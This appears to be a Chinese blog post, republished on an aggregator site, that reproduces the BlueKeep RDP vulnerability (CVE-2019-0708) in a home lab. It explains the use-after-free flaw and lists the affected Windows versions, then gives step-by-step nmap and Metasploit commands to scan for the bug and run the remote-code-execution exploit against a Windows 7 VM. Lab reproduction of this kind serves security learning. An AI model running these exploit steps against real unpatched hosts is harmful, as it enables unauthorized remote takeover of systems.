【漏洞复现】CVE-2019-0708（BlueKeep）-Toy模板网

这篇具有很好参考价值的文章主要介绍了【漏洞复现】CVE-2019-0708（BlueKeep）。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

漏洞介绍

2019年5月14日微软官方发布安全补丁，修复了 Windows 远程桌面服务的远程代码执行漏洞，该漏洞影响了某些旧版本的 Windows 系统。此漏洞是预身份验证，无需用户交互，这就意味着这个漏洞可以通过网络蠕虫的方式被利用，与2017年 WannaCry 勒索病毒的传播方式类似。

漏洞原理

存在漏洞的远程桌面服务器，在接收到特殊数据包时会释放一个内部信道 MS_T120 的控制结构体，但并未将指向该结构体的指针删除，而且在远程桌面连接结束之后还会调用 MS_T120 结构体内的一个函数指针，若攻击者可通过远程发送数据重新占据被释放的 MS_T120，并为结构体内的函数指针赋恰当的值，即可实现远程命令执行。

影响版本

目前已知受影响的 Windows 版本包括但不限于：

Windows 7
Windows Server 2008
Windows Server 2008 R2
Windows Server 2003
Windows XP

Windows 8 和 windows10 以及之后的版本不受此漏洞影响

漏洞复现

复现环境

windows11（本机）192.168.2.51
windows7（虚拟机）192.168.2.44 桥接
kali2022.1（虚拟机）192.168.2.248 桥接

复现过程

首先windows7开启了3389端口，关闭了防火墙
【漏洞复现】CVE-2019-0708（BlueKeep）

登录kali2022.1，用自带的namp进行端口扫描windows7，发现3389端口开启

nmap 192.168.2.44

【漏洞复现】CVE-2019-0708（BlueKeep）
打开msf

msfconsole

【漏洞复现】CVE-2019-0708（BlueKeep）
查找cve-2019-0708，存在POC和EXP

search cve-2019-0708

【漏洞复现】CVE-2019-0708（BlueKeep）
先选择POC判断漏洞是否存在，确定漏洞存在

use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set rhosts 192.168.2.44
run

【漏洞复现】CVE-2019-0708（BlueKeep）
退回

back

【漏洞复现】CVE-2019-0708（BlueKeep）
使用EXP进行攻击，拿到权限

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set rhosts 192.168.2.44
show options
show targets
set target 5
run

【漏洞复现】CVE-2019-0708（BlueKeep）
文章来源地址https://www.toymoban.com/news/detail-442570.html

到了这里，关于【漏洞复现】CVE-2019-0708（BlueKeep）的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！

【漏洞复现】CVE-2019-0708（BlueKeep）

漏洞介绍

漏洞原理

影响版本

漏洞复现

复现环境

复现过程

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏

支付宝扫一扫领取红包，优惠每天领

二维码1

二维码2